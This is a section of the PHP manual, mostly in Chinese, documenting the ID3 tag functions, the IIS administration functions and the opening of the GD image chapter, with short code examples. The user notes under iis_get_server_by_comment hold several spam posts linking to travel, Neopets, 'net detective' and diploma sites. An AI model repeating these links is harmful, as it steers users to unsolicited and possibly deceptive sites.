本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

Predefined Constants

Most of the id3 functions either let you specify or return a tag version. In order to specify the version please use on of these constants.

ID3_V1_0 (integer)

ID3_V1_0 is used if you are working with ID3 V1.0 tags. These tags may contain the fields title, artist, album, genre, year and comment.

ID3_V1_1 (integer)

ID3_V1_1 is used if you are working with ID3 V1.1 tags. These tags may all information contained in v1.0 tags plus the track number.

ID3_V2_1 (integer)

ID3_V2_1 is used if you are working with ID3 V2.1 tags.

ID3_V2_2 (integer)

ID3_V2_2 is used if you are working with ID3 V2.2 tags.

ID3_V2_3 (integer)

ID3_V2_3 is used if you are working with ID3 V2.3 tags.

ID3_V2_4 (integer)

ID3_V2_4 is used if you are working with ID3 V2.4 tags.

ID3_BEST (integer)

ID3_BEST is used if would like to let the id3 functions determine which tag version should be used.

目录
id3_get_frame_long_name -- Get the long name of an ID3v2 frame
id3_get_frame_short_name -- Get the short name of an ID3v2 frame
id3_get_genre_id -- Get the id for a genre
id3_get_genre_list -- Get all possible genre values
id3_get_genre_name -- Get the name for a genre id
id3_get_tag -- Get all information stored in an ID3 tag
id3_get_version -- Get version of an ID3 tag
id3_remove_tag -- Remove an existing ID3 tag
id3_set_tag -- Update information stored in an ID3 tag

add a note add a note User Contributed Notes
wmd at wazee dot org
11-Jul-2004 05:31
There are several highly developed id3 reader classes written in php that include id3v2 support, and support for other file formats (not just mpeg & id3). I recommend http://getid3.sourceforge.net/ as well as the id3 reader class integrated in the Zina is not Andromeda project (http://pancake.org/zina.html)
add a note add a note

后退 | 起点 | 前进
ob_iconv_handler | 上一级 | id3_get_frame_long_name


id3_get_frame_long_name

(PECL)

id3_get_frame_long_name -- Get the long name of an ID3v2 frame

Description

string id3_get_frame_long_name ( string frameId )

id3_get_frame_long_name() returns the long name for an ID3v2 frame.

例子 1. id3_get_frame_long_name() example

<?php
$longName = id3_get_frame_long_name("TOLY");
echo $longName;
?>

This will output:

Original lyricist(s)/text writer(s)

See also id3_get_frame_short_name().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ID3 Functions | 上一级 | id3_get_frame_short_name


id3_get_frame_short_name

(PECL)

id3_get_frame_short_name -- Get the short name of an ID3v2 frame

Description

string id3_get_frame_short_name ( string frameId )

id3_get_frame_short_name() returns the short name for an ID3v2 frame.

例子 1. id3_get_frame_short_name() example

<?php
$shortName = id3_get_frame_short_name("TOLY");
echo $shortName;
?>

This will output:

originalLyricist

The values returned by id3_get_short_name() are used in the array returned by id3_get_tag().

See also id3_get_frame_long_name().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
id3_get_frame_long_name | 上一级 | id3_get_genre_id


id3_get_genre_id

(PECL)

id3_get_genre_id -- Get the id for a genre

Description

int id3_get_genre_id ( string genre )

id3_get_genre_id() returns the id for a genre. If the specified genre is not available in the genre list, id3_get_genre_id() will return FALSE

In an ID3 tag, the genre is stored using a integer ranging from 0 to 147.

例子 1. id3_get_genre_id() example

<?php
$id = id3_get_genre_id("Alternative");
echo $id;
?>

This will output:

20

See also id3_get_genre_list() and id3_get_genre_name().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
id3_get_frame_short_name | 上一级 | id3_get_genre_list


id3_get_genre_list

(PECL)

id3_get_genre_list -- Get all possible genre values

Description

array id3_get_genre_list ( void )

id3_get_genre_list() returns an array containing all possible genres that may be stored in an ID3 tag. This list has been created by Eric Kemp and later extended by WinAmp.

This function is useful to provide you users a list of genres from which they may choose one. When updating the ID3 tag you will always have to specify the genre as an integer ranging from 0 to 147.

例子 1. id3_get_genre_list() example

<?php
$genres = id3_get_genre_list();
print_r($genres);
?>

This will output:

Array
(
    [0] => Blues
    [1] => Classic Rock
    [2] => Country
    [3] => Dance
    [4] => Disco
    [5] => Funk
    [6] => Grunge
    [7] => Hip-Hop
    [8] => Jazz
    [9] => Metal
    [10] => New Age
    [11] => Oldies
    [12] => Other
    [13] => Pop
    [14] => R&B
    [15] => Rap
    [16] => Reggae
    [17] => Rock
    [18] => Techno
    [19] => Industrial
    [20] => Alternative
    [21] => Ska
    [22] => Death Metal
    [23] => Pranks
    [24] => Soundtrack
    [25] => Euro-Techno
    [26] => Ambient
    [27] => Trip-Hop
    [28] => Vocal
    [29] => Jazz+Funk
    [30] => Fusion
    [31] => Trance
    [32] => Classical
    [33] => Instrumental
    [34] => Acid
    [35] => House
    [36] => Game
    [37] => Sound Clip
    [38] => Gospel
    [39] => Noise
    [40] => Alternative Rock
    [41] => Bass
    [42] => Soul
    [43] => Punk
    [44] => Space
    [45] => Meditative
    [46] => Instrumental Pop
    [47] => Instrumental Rock
    [48] => Ethnic
    [49] => Gothic
    [50] => Darkwave
    [51] => Techno-Industrial
    [52] => Electronic
    [53] => Pop-Folk
    [54] => Eurodance
    [55] => Dream
    [56] => Southern Rock
    [57] => Comedy
    [58] => Cult
    [59] => Gangsta
    [60] => Top 40
    [61] => Christian Rap
    [62] => Pop/Funk
    [63] => Jungle
    [64] => Native US
    [65] => Cabaret
    [66] => New Wave
    [67] => Psychadelic
    [68] => Rave
    [69] => Showtunes
    [70] => Trailer
    [71] => Lo-Fi
    [72] => Tribal
    [73] => Acid Punk
    [74] => Acid Jazz
    [75] => Polka
    [76] => Retro
    [77] => Musical
    [78] => Rock & Roll
    [79] => Hard Rock
    [80] => Folk
    [81] => Folk-Rock
    [82] => National Folk
    [83] => Swing
    [84] => Fast Fusion
    [85] => Bebob
    [86] => Latin
    [87] => Revival
    [88] => Celtic
    [89] => Bluegrass
    [90] => Avantgarde
    [91] => Gothic Rock
    [92] => Progressive Rock
    [93] => Psychedelic Rock
    [94] => Symphonic Rock
    [95] => Slow Rock
    [96] => Big Band
    [97] => Chorus
    [98] => Easy Listening
    [99] => Acoustic
    [100] => Humour
    [101] => Speech
    [102] => Chanson
    [103] => Opera
    [104] => Chamber Music
    [105] => Sonata
    [106] => Symphony
    [107] => Booty Bass
    [108] => Primus
    [109] => Porn Groove
    [110] => Satire
    [111] => Slow Jam
    [112] => Club
    [113] => Tango
    [114] => Samba
    [115] => Folklore
    [116] => Ballad
    [117] => Power Ballad
    [118] => Rhytmic Soul
    [119] => Freestyle
    [120] => Duet
    [121] => Punk Rock
    [122] => Drum Solo
    [123] => Acapella
    [124] => Euro-House
    [125] => Dance Hall
    [126] => Goa
    [127] => Drum & Bass
    [128] => Club-House
    [129] => Hardcore
    [130] => Terror
    [131] => Indie
    [132] => BritPop
    [133] => Negerpunk
    [134] => Polsk Punk
    [135] => Beat
    [136] => Christian Gangsta
    [137] => Heavy Metal
    [138] => Black Metal
    [139] => Crossover
    [140] => Contemporary C
    [141] => Christian Rock
    [142] => Merengue
    [143] => Salsa
    [144] => Thrash Metal
    [145] => Anime
    [146] => JPop
    [147] => SynthPop
)

See also id3_get_genre_name() and id3_get_genre_id().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
id3_get_genre_id | 上一级 | id3_get_genre_name


id3_get_genre_name

(PECL)

id3_get_genre_name -- Get the name for a genre id

Description

string id3_get_genre_name ( int genre_id )

id3_get_genre_name() returns the name for a genre id.

In an ID3 tag, the genre is stored using a integer ranging from 0 to 147.

例子 1. id3_get_genre_name() example

<?php
$genre = id3_get_genre_name(20);
echo $genre;
?>

This will output:

Alternative

See also id3_get_genre_list() and id3_get_genre_id().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
id3_get_genre_list | 上一级 | id3_get_tag


id3_get_tag

(PECL)

id3_get_tag -- Get all information stored in an ID3 tag

Description

array id3_get_tag ( string filename [, int version] )

id3_get_tag() is used to get all information stored in the id3 tag of the specified file.

注: Instead of a filename you may also pass a valid stream resource.

The optional version parameter allows you to specify the version of the tag as MP3 files may contain both, version 1.x and version 2.x tags.

例子 1. id3_get_tag() example

<?php
$tag = id3_get_tag( "path/to/example.mp3" );
print_r($tag);
?>

This will output something like:

Array
(
    [title] => DN-38416
    [artist] => Re:\Legion
    [album] => Reflections
    [year] => 2004
    [genre] => 19
)

The key genre will contain an integer between 0 and 147. You may use id3_get_genre_name() to convert it to a human readable string.

Since version 0.2 id3_get_tag() also supports ID3 tags of version 2.2, 2.3 and 2.4. To extract information from these tags, pass one of the constants ID3_V2_2, ID3_V2_3 or ID3_V2_4 as the second parameter.

例子 2. id3_get_tag() example

<?php
$tag = id3_get_tag( "path/to/example2.mp3", ID3_V2_3 );
print_r($tag);
?>

This will output something like:

Array
(
    [copyright] => Dirty Mac
    [originalArtist] => Dirty Mac
    [composer] => Marcus Gtze
    [artist] => Dirty Mac
    [title] => Little Big Man
    [album] => Demo-Tape
    [track] => 5/12
    [genre] => (17)Rock
    [year] => 2001
)

ID3 v2.x tags can contain a lot more information about the MP3 file than ID3 v1.x tags.

See also id3_set_tag(), id3_remove_tag() and id3_get_version().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
id3_get_genre_name | 上一级 | id3_get_version


id3_get_version

(PECL)

id3_get_version -- Get version of an ID3 tag

Description

int id3_get_version ( string filename )

id3_get_version() retrieves the version(s) of the ID3 tag(s) in the MP3 file. As a tag can contain ID3 v1.x and v2.x tags, the return value of this function should be bitwise compared with the predefined constants ID3_V1_0, ID3_V1_1 and ID3_V2.

注: Instead of a filename you may also pass a valid stream resource.

例子 1. id3_get_version() example

<?php
$version = id3_get_version( "path/to/example.mp3" );
if ($version & ID3_V1_0) {
    echo "Contains a 1.x tag\n";
}
if ($version & ID3_V1_1) {
    echo "Contains a 1.1 tag\n";
}
if ($version & ID3_V2) {
    echo "Contains a 2.x tag\n";
}
?>

This will output something like:

Contains a 1.x tag
Contains a 1.1 tag

If a file contains an ID3 v1.1 tag, it always contains a 1.0 tag, as version 1.1 is just an extension of 1.0.

See also id3_get_tag(), id3_set_tag() and id3_remove_tag().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
id3_get_tag | 上一级 | id3_remove_tag


id3_remove_tag

(PECL)

id3_remove_tag -- Remove an existing ID3 tag

Description

bool id3_remove_tag ( string filename [, int version] )

id3_remove_tag() is used to remove the information stored of an ID3 tag. If no tag has been present, it will return FALSE and leave the file as it was.

注: Instead of a filename you may also pass a valid stream resource.

The optional version parameter allows you to specify the version of the tag as MP3 files may contain both, version 1.x and version 2.x tags.

例子 1. id3_remove_tag() example

<?php
$result = id3_remove_tag( "path/to/example.mp3", ID3_V1_0 );
if ($result === true) {
    echo "Tag succesfully removed\n";
}
?>

If the file is writable and contained a 1.0 tag, this will output:

Tag succesfully removed

注: Currently id3_remove_tag() only supports version 1.0 and 1.1. If you choose to remove a 1.0 tag and the file contains a 1.1 tag, this tag will be removed, as v1.1 is only an extension of 1.0.

See also id3_get_tag(), id3_set_tag() and id3_get_version().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
id3_get_version | 上一级 | id3_set_tag


id3_set_tag

(PECL)

id3_set_tag -- Update information stored in an ID3 tag

Description

bool id3_set_tag ( string filename, array tag [, int version] )

id3_set_tag() is used to change the information stored of an ID3 tag. If no tag has been present, it will be added to the file.

注: Instead of a filename you may also pass a valid stream resource.

The optional version parameter allows you to specify the version of the tag as MP3 files may contain both, version 1.x and version 2.x tags.

例子 1. id3_set_tag() example

<?php
$data = array(
              "title" => "Re:Start",
              "artist" => "Re:\Legion",
              "comment" => "A nice track"
             );
$result = id3_set_tag( "path/to/example.mp3", $data, ID3_V1_0 );
if ($result === true) {
    echo "Tag succesfully updated\n";
}
?>

If the file is writable, this will output:

Tag succesfully updated

注: Currently id3_set_tag() only supports version 1.0 and 1.1.

The following keys may be used in the associative array:

表格 1. Keys in the associative array

key | possible value | available in version
title | string with maximum of 30 characters | v1.0, v1.1
artist | string with maximum of 30 characters | v1.0, v1.1
album | string with maximum of 30 characters | v1.0, v1.1
year | 4 digits | v1.0, v1.1
genre | integer value between 0 and 147 | v1.0, v1.1
comment | string with maximum of 30 characters (28 in v1.1) | v1.0, v1.1
track | integer between 0 and 255 | v1.1

See also id3_get_tag(), id3_remove_tag() and id3_get_version().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
id3_remove_tag | 上一级 | IIS Administration Functions


IIS Administration Functions

PHP 手册
后退 前进

LIV. IIS Administration Functions

简介

本 PECL 扩展未绑定于 PHP 中。 This extension is available for Win32 only. It provides functions to administrate Microsoft Internet Information Server (IIS). The extension includes function to create web sites and virtual directories as well as configuring security and script mapping. These functions have been added in PHP 4.

In order to use these functions you must enable the php_iisfunc.dll DLL inside of php.ini. 可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
iis_add_server -- Creates a new virtual web server
iis_get_dir_security -- Gets Directory Security
iis_get_script_map -- Gets script mapping on a virtual directory for a specific extension
iis_get_server_by_comment -- Return the instance number associated with the Comment
iis_get_server_by_path -- Return the instance number associated with the Path
iis_get_server_rights -- Gets server rights
iis_get_service_state -- Returns the state for the service defined by ServiceId
iis_remove_server -- Removes the virtual web server indicated by ServerInstance
iis_set_app_settings -- Creates application scope for a virtual directory
iis_set_dir_security -- Sets Directory Security
iis_set_script_map -- Sets script mapping on a virtual directory
iis_set_server_rights -- Sets server rights
iis_start_server -- Starts the virtual web server
iis_start_service -- Starts the service defined by ServiceId
iis_stop_server -- Stops the virtual web server
iis_stop_service -- Stops the service defined by ServiceId

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
id3_set_tag | 上一级 | iis_add_server


iis_add_server

(PECL)

iis_add_server -- Creates a new virtual web server

Description

int iis_add_server ( string path, string comment, string server_ip, int port, string host_name, int rights, int start_server )

add a note add a note User Contributed Notes
vesa at flash-db dot com
18-Mar-2005 10:01
Remember that only MS 2000 Server/MS 2003 Server can add more than one "server" to IIS 6.0 (IIS < 6 and XP/2k PRO wont support that)

HTH,
Vesa
add a note add a note

后退 | 起点 | 前进
IIS Administration Functions | 上一级 | iis_get_dir_security


iis_get_dir_security

(PECL)

iis_get_dir_security -- Gets Directory Security

Description

int iis_get_dir_security ( int server_instance, string virtual_path )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_add_server | 上一级 | iis_get_script_map


iis_get_script_map

(PECL)

iis_get_script_map -- Gets script mapping on a virtual directory for a specific extension

Description

string iis_get_script_map ( int server_instance, string virtual_path, string script_extension )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_get_dir_security | 上一级 | iis_get_server_by_comment


iis_get_server_by_comment

(PECL)

iis_get_server_by_comment -- Return the instance number associated with the Comment

Description

int iis_get_server_by_comment ( string comment )

add a note add a note User Contributed Notes
Mike
14-May-2006 10:31
Discount travel and vacation deals at Planeon.net. <a href=http://one.fsphost.com/plane2ticket/>Plane ticket</a>  http://one.fsphost.com/plane2ticket/
Mike
14-May-2006 10:31
Discount travel and vacation deals at Planeon.net. <a href=http://one.fsphost.com/plane2ticket/>Plane ticket</a>  http://one.fsphost.com/plane2ticket/
Mike
14-May-2006 10:30
Discount travel and vacation deals at Planeon.net. <a href=http://one.fsphost.com/plane2ticket/>Plane ticket</a>  http://one.fsphost.com/plane2ticket/
Bill
10-Mar-2006 02:39
Parents might want to set a time limit, or attach <a href=http://neopets-site-web.cafe150.com/><b>neopets site web</b></a>  Neopets playtime as a reward after chores and homework. http://neopets-site-web.cafe150.com/
Bill
08-Mar-2006 02:22
The new system can provide criminal justice agencies in <a href=http://net-detective-login.cafe150.com/sbc-yahoo-login.htm><b>net detective login</b></a>  Hampshire with faster court information to all interested parties using Internet technology. http://net-detective-login.cafe150.com/sbc-yahoo-login.htm
Fill
05-Mar-2006 04:26
Based on the records of past graduates from the same high schools, many among the approximately 12,000 students these statistics represent would likely be accepted at a college or university if the MCAS graduation requirement did not prevent them from <a href=http://high-school-diploma.275mb.com><b>high school</b></a>  receiving a high school diploma. http://high-school-diploma.275mb.com
add a note add a note

后退 | 起点 | 前进
iis_get_script_map | 上一级 | iis_get_server_by_path


iis_get_server_by_path

(PECL)

iis_get_server_by_path -- Return the instance number associated with the Path

Description

int iis_get_server_by_path ( string path )

Each virtual server in IIS is associated with an instance number. iis_get_server_by_path() Finds the instance number from the actual path to the root directory.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_get_server_by_comment | 上一级 | iis_get_server_rights


iis_get_server_rights

(PECL)

iis_get_server_rights -- Gets server rights

Description

int iis_get_server_rights ( int server_instance, string virtual_path )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_get_server_by_path | 上一级 | iis_get_service_state


iis_get_service_state

(PECL)

iis_get_service_state -- Returns the state for the service defined by ServiceId

Description

int iis_get_service_state ( string service_id )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_get_server_rights | 上一级 | iis_remove_server


iis_remove_server

(PECL)

iis_remove_server -- Removes the virtual web server indicated by ServerInstance

Description

int iis_remove_server ( int server_instance )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_get_service_state | 上一级 | iis_set_app_settings


iis_set_app_settings

(PECL)

iis_set_app_settings -- Creates application scope for a virtual directory

Description

int iis_set_app_settings ( int server_instance, string virtual_path, string application_scope )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_remove_server | 上一级 | iis_set_dir_security


iis_set_dir_security

(PECL)

iis_set_dir_security -- Sets Directory Security

Description

int iis_set_dir_security ( int server_instance, string virtual_path, int directory_flags )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_set_app_settings | 上一级 | iis_set_script_map


iis_set_script_map

(PECL)

iis_set_script_map -- Sets script mapping on a virtual directory

Description

int iis_set_script_map ( int server_instance, string virtual_path, string script_extension, string engine_path, int allow_scripting )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_set_dir_security | 上一级 | iis_set_server_rights


iis_set_server_rights

(PECL)

iis_set_server_rights -- Sets server rights

Description

int iis_set_server_rights ( int server_instance, string virtual_path, int directory_flags )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_set_script_map | 上一级 | iis_start_server


iis_start_server

(PECL)

iis_start_server -- Starts the virtual web server

Description

int iis_start_server ( int server_instance )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_set_server_rights | 上一级 | iis_start_service


iis_start_service

(PECL)

iis_start_service -- Starts the service defined by ServiceId

Description

int iis_start_service ( string service_id )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_start_server | 上一级 | iis_stop_server


iis_stop_server

(PECL)

iis_stop_server -- Stops the virtual web server

Description

int iis_stop_server ( int server_instance )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_start_service | 上一级 | iis_stop_service


iis_stop_service

(PECL)

iis_stop_service -- Stops the service defined by ServiceId

Description

int iis_stop_service ( string service_id )

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iis_stop_server | 上一级 | Image 图像函数


Image 图像函数

PHP 手册
后退 前进

LV. Image 图像函数

简介

PHP 不仅限于只产生 HTML 的输出。还可以创建及操作多种不同图像格式的图像文件，包括 gif，png，jpg，wbmp 和 xpm。更方便的是，PHP 可以直接将图像流输出到浏览器。要处理图像，需要在编译 PHP 时加上图像函数的 GD 库。GD 和 PHP 还可能需要其它的库，视乎需要支持哪些图像格式而定。

可以在 PHP 中使用图像函数来得到 JPEG，GIF，PNG，SWF，TIFF 和 JPEG2000 图像的大小。

注: 阅读需求一节以了解怎样扩展图像能力来读取，写入和修改图像以及读取数码相机拍摄的照片中的元数据。

需求

如果有 GD 库（在 http://www.boutell.com/gd/），可以创建及操作图像。

所能处理的图像格式取决于所安装的 GD 版本，以及其它 GD 可能用到的来访问这些图像格式的库。低于 gd-1.6 版本的 GD 支持 GIF 图像格式，不支持 PNG，高于 gd-1.6 低于 gd-2.0.28 的版本支持 PNG，不支持 GIF。在 gd-2.0.28 中又重新支持 GIF 了。

注: 自 PHP 4.3 起绑定了一个 GD 库的版本。这个绑定的版本具有一些附加的特色例如透明混色，应优先使用此版本，因为它的代码维护得更好以及更加稳定。

可能想要增加 GD 处理的图像格式。

表格 1. 所支持的图像格式

图像格式 | 要下载的库 | 注解
gif |  | 仅在低于 gd-1.6 与高于 gd-2.0.28 的 GD 版本中支持。PHP 4.3.0 以及绑定的 GD 库中支持只读的 GIF。PHP 4.3.9 和 PHP 5.0.1 起支持写入。
jpeg-6b | ftp://ftp.uu.net/graphics/jpeg/ |
png | http://www.libpng.org/pub/png/libpng.html | 仅在高于 gd-1.6 的 GD 版本中支持。
xpm | ftp://metalab.unc.edu/pub/Linux/libs/X/!INDEX.html | 如果系统中安装了 X 环境，则很可能已经有了这个库。

可能想要增强 GD 处理不同字体的能力。支持下列字库：

表格 2. 所支持的字库

字库 | 下载位置 | 注解
FreeType 1.x | http://www.freetype.org/ |
FreeType 2 | http://www.freetype.org/ |
T1lib | ftp://sunsite.unc.edu/pub/Linux/libs/graphics/) | 支持 Type 1 字体。

如果 PHP 编译时指定了 --enable-exif，就可以操作存储于 JPEG 和 TIFF 图像文件头中的信息。这样就可以读取上面提到的数码相机生成的照片中的元数据。这些函数不需要 GD 库。

安装

要激活 GD 支持，配置 PHP 时加上 --with-gd[=DIR]，DIR 是 GD 的基本安装目录。要使用推荐的绑定的 GD 库版本（首次绑定于 PHP 4.3.0），使用 --with-gd。要编译 GD 库，需要libpng 和 libjpeg。

在 Windows 中，需要将 GD2 的 DLL 文件 php_gd2.dll 作为一个扩展包含在 php.ini 中。GD1 的 DLL 文件 php_gd.dll 在 PHP 4.3.2 中被删除了。此外要注意首选的真彩色图像函数，例如 imagecreatetruecolor()，需要 GD2。

注: 要在 Windows 下启用 exif，在 php.ini 中 php_mbstring.dll 必须在 php_exif.dll 之前加载。

要在 PHP 3 中禁止 GD 支持，在配置时加上 --without-gd。

要增强 GD 的能力以处理更多的图像格式，在配置 PHP 时指定 --with-XXXX 的配置开关。

表格 3. 所支持的图像格式

图像格式 | 配置开关
jpeg-6b | 要激活 jpeg-6b 的支持，加上 --with-jpeg-dir=DIR.
png | 要激活 png 的支持，加上 --with-png-dir=DIR。注意，libpng 需要 zlib library，因此配置中还要加上 --with-zlib-dir[=DIR]。
xpm | 要激活 xpm 的支持，加上 --with-xpm-dir=DIR。如果配置时提示找不到所需要的库，可以加上到 X11 库的路径。

注: 当把 PHP 和 libpng 一起编译时，必须使用和 GD 库连接的同一个版本。

要增强 GD 的能力以处理更多的字体，在配置 PHP 时指定 --with-XXXX 的配置开关。

表格 4. 所支持的字库

字库 | 配置开关
FreeType 1.x | 要激活 FreeType 1.x 的支持，加上 --with-ttf[=DIR]。
FreeType 2 | 要激活 FreeType 2 的支持，加上 --with-freetype-dir=DIR。
T1lib | 要激活 T1lib（Type 1 字体），加上 --with-t1lib[=DIR]。
本地 TrueType 字符串函数 | 要激活本地 TrueType 字符串函数的支持，加上 --enable-gd-native-ttf。

运行时配置

没有 image 特定的配置选项。不过可以参考 exif 扩展库 配置指令。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

IMG_GIF (integer)

IMG_JPG (integer)

IMG_JPEG (integer)

IMG_PNG (integer)

IMG_WBMP (integer)

IMG_XPM (integer)

IMG_COLOR_TILED (integer)

IMG_COLOR_STYLED (integer)

IMG_COLOR_BRUSHED (integer)

IMG_COLOR_STYLEDBRUSHED (integer)

IMG_COLOR_TRANSPARENT (integer)

IMG_ARC_ROUNDED (integer)

IMG_ARC_PIE (integer)

IMG_ARC_CHORD (integer)

IMG_ARC_NOFILL (integer)

IMG_ARC_EDGED (integer)

IMAGETYPE_GIF (integer)

IMAGETYPE_JPEG (integer)

IMAGETYPE_PNG (integer)

IMAGETYPE_SWF (integer)

IMAGETYPE_PSD (integer)

IMAGETYPE_BMP (integer)

IMAGETYPE_WBMP (integer)

IMAGETYPE_XBM (integer)

IMAGETYPE_TIFF_II (integer)

IMAGETYPE_TIFF_MM (integer)

IMAGETYPE_IFF (integer)

IMAGETYPE_JB2 (integer)

IMAGETYPE_JPC (integer)

IMAGETYPE_JP2 (integer)

IMAGETYPE_JPX (integer)

IMAGETYPE_SWC (integer)

范例

例子 1. 用 PHP 创建 PNG 图像

<?php

header("Content-type: image/png");
$string = $_GET['text'];
$im     = imagecreatefrompng("images/button1.png");
$orange = imagecolorallocate($im, 220, 210, 60);
$px     = (imagesx($im) - 7.5 * strlen($string)) / 2;
imagestring($im, 3, $px, 9, $string, $orange);
imagepng($im);
imagedestroy($im);

?>
本例应该在一个具有类似：<img src="button.php?text=text"> 标记的页面中被调用。上述的 button.php 脚本会取得 "text" 字符串将其覆盖在原图上（本例中的 "images/button1.png"）并输出作为结果的图像。用此方法可以很方便地修改按钮上的文字从而避免了每次都要新画一个按钮的图像。用此方法就可以动态生成了。

目录
gd_info -- 取得当前安装的 GD 库的信息
getimagesize -- 取得图像大小
image_type_to_extension -- 取得图像类型的文件后缀
image_type_to_mime_type -- 取得 getimagesize，exif_read_data，exif_thumbnail，exif_imagetype 所返回的图像类型的 MIME 类型
image2wbmp -- 以 WBMP 格式将图像输出到浏览器或文件
imagealphablending -- 设定图像的混色模式
imageantialias -- 是否使用抗锯齿（antialias）功能
imagearc -- 画椭圆弧
imagechar -- 水平地画一个字符
imagecharup -- 垂直地画一个字符
imagecolorallocate -- 为一幅图像分配颜色
imagecolorallocatealpha -- 为一幅图像分配颜色 + alpha
imagecolorat -- 取得某像素的颜色索引值
imagecolorclosest -- 取得与指定的颜色最接近的颜色的索引值
imagecolorclosestalpha -- 取得与指定的颜色加透明度最接近的颜色
imagecolorclosesthwb -- 取得与给定颜色最接近的色度的黑白色的索引
imagecolordeallocate -- 取消图像颜色的分配
imagecolorexact -- 取得指定颜色的索引值
imagecolorexactalpha -- 取得指定的颜色加透明度的索引值
imagecolormatch -- 使一个图像中调色板版本的颜色与真彩色版本更能匹配
imagecolorresolve -- 取得指定颜色的索引值或有可能得到的最接近的替代值
imagecolorresolvealpha -- 取得指定颜色 + alpha 的索引值或有可能得到的最接近的替代值
imagecolorset -- 给指定调色板索引设定颜色
imagecolorsforindex -- 取得某索引的颜色
imagecolorstotal -- 取得一幅图像的调色板中颜色的数目
imagecolortransparent -- 将某个颜色定义为透明色
imageconvolution -- 用系数 div 和 offset 申请一个 3x3 的卷积矩阵
imagecopy -- 拷贝图像的一部分
imagecopymerge -- 拷贝并合并图像的一部分
imagecopymergegray -- 用灰度拷贝并合并图像的一部分
imagecopyresampled -- 重采样拷贝部分图像并调整大小
imagecopyresized -- 拷贝部分图像并调整大小
imagecreate -- 新建一个基于调色板的图像
imagecreatefromgd2 -- 从 GD2 文件或 URL 新建一图像
imagecreatefromgd2part -- 从给定的 GD2 文件或 URL 中的部分新建一图像
imagecreatefromgd -- 从 GD 文件或 URL 新建一图像
imagecreatefromgif -- 从 GIF 文件或 URL 新建一图像
imagecreatefromjpeg -- 从 JPEG 文件或 URL 新建一图像
imagecreatefrompng -- 从 PNG 文件或 URL 新建一图像
imagecreatefromstring -- 从字符串中的图像流新建一图像
imagecreatefromwbmp -- 从 WBMP 文件或 URL 新建一图像
imagecreatefromxbm -- 从 XBM 文件或 URL 新建一图像
imagecreatefromxpm -- 从 XPM 文件或 URL 新建一图像
imagecreatetruecolor -- 新建一个真彩色图像
imagedashedline -- 画一虚线
imagedestroy -- 销毁一图像
imageellipse -- 画一个椭圆
imagefill -- 区域填充
imagefilledarc -- 画一椭圆弧且填充
imagefilledellipse -- 画一椭圆并填充
imagefilledpolygon -- 画一多边形并填充
imagefilledrectangle -- 画一矩形并填充
imagefilltoborder -- 区域填充到指定颜色的边界为止
imagefilter -- 对图像使用过滤器
imagefontheight -- 取得字体高度
imagefontwidth -- 取得字体宽度
imageftbbox -- 给出一个使用 FreeType 2 字体的文本框
imagefttext -- 使用 FreeType 2 字体将文本写入图像
imagegammacorrect -- 对 GD 图像应用 gamma 修正
imagegd2 -- 将 GD2 图像输出到浏览器或文件
imagegd -- 将 GD 图像输出到浏览器或文件
imagegif -- 以 GIF 格式将图像输出到浏览器或文件
imageinterlace -- 激活或禁止隔行扫描
imageistruecolor -- 检查图像是否为真彩色图像
imagejpeg -- 以 JPEG 格式将图像输出到浏览器或文件
imagelayereffect -- 设定 alpha 混色标志以使用绑定的 libgd 分层效果
imageline -- 画一条线段
imageloadfont -- 载入一新字体
imagepalettecopy -- 将调色板从一幅图像拷贝到另一幅
imagepng -- 以 PNG 格式将图像输出到浏览器或文件
imagepolygon -- 画一个多边形
imagepsbbox -- 给出一个使用 PostScript Type1 字体的文本方框
imagepscopyfont -- 拷贝一个已加载的字体以备更改
imagepsencodefont -- 改变字体中的字符编码矢量
imagepsextendfont -- 扩充或精简字体
imagepsfreefont -- 释放一个 PostScript Type 1 字体所占用的内存
imagepsloadfont -- 从文件中加载一个 PostScript Type 1 字体
imagepsslantfont -- 倾斜某字体
imagepstext -- 用 PostScript Type1 字体把文本字符串画在图像上
imagerectangle -- 画一个矩形
